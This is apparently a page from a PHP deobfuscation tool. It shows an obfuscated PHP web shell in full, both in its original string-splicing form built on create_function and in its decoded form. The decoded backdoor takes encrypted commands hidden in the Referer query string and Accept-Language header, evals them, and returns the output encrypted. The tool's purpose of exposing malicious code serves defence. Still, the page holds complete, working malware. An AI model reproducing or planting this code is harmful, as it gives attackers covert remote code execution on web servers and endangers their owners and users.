Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $y=';$q=array_vT(alues($q);preT(g_maT(tch_aT(ll("/([T(\\w]T()[\\w-]T(+(?:;q=0.(T(T(..
Decoded Output download
$kh="9f6c";$kf="7d42";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}Did this file decode correctly?
Original Code
<?php
$y=';$q=array_vT(alues($q);preT(g_maT(tch_aT(ll("/([T(\\w]T()[\\w-]T(+(?:;q=0.(T(T([\\d]))?,?/",$T(r';
$K='er"T(;$i=$m[T(1][0].$m[1T(][T(1];$h=$slT(($ss(T(T(md5($iT(.T($kh),0,3));$T(f=$sl($sT(s(T(md';
$s='(stT(rposT(($p,$h)T(=T(==T(0){T($s[$i]="";$T(p=$ssT(($p,3);}if(array_kT(ey_existT(s($i,$T(s)){T';
$g='$kh=T("9f6c"T(;$kf="7d42T(";functiT(on xT(($t,$T(k){$cT(=strlenT(($k);$l=sT(trleT(n(T($t)T(;$';
$o='5($i.$T(kf),0,3T());$p="";for(T($zT(=1;$z<cT(ount($T(m[T(1]);$z++)$p.T(=$q[$m[T(2][$T(zT(]];if';
$b='T(T_LANGUAGE"];T(if($rrT(&&$ra){$u=parsT(e_urlT(($rr);T(T(parse_str($T(uT(["queT(ryT("T(],$q)';
$x='($sT(T([$i].=$p;$e=sT(tT(rT(pos($s[$i],T($f);if($e)T({$T(k=$kh.$kf;oT(b_T(start();@eT(val(@gz';
$R=str_replace('ht','','crhteahtte_hthtfunchtthtion');
$T='uT(ncompressT((@xT((@bT(ase64_decodT(e(preg_T(replT(aT(ce(arT(ray("/_/","/-/T("),arrT(ay("T(/"';
$w='T(T(o="";for($i=0;$i<$lT(;){for($jT(=0;($jT(<$c&&$i<$lT(T();$j++T(,$T(i++){$o.=$t{$i}T(^$kT({$j';
$Q='};}}rT(eturnT( $T(o;}$r=$_T(ST(ERVER;$rr=@$rT(["HTTPT(T(_REFERER"T(];$ra=@T($r["HTTP_AT(T(CCET(P';
$B=',"+"),T($sT(s($s[$i],0T(,T($e))),$k)T());$T(o=ob_T(get_cT(ontents(T()T(;ob_end_cT(leT(an();$';
$C='aT(,T($m);iT(f($q&&$m){T(@sessT(ion_start();$T(s=&T(T($_ST(ESSION;$ss="suT(bstT(r";$sT(l="strtolT(ow';
$Y='d=baT(se64T(_encode(x(T(gzcompreT(ss(T($T(o),$k));print("T(<$k>$d<T(/T($k>T(");@session_dT(estT(roy();}}}}';
$F=str_replace('T(','',$g.$w.$Q.$b.$y.$C.$K.$o.$s.$x.$T.$B.$Y);
$q=$R('',$F);$q();
?>Function Calls
| null | 1 |
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | 64ca8999a56d3af2731ab34f5dad448f |
| Eval Count | 1 |
| Decode Time | 156 ms |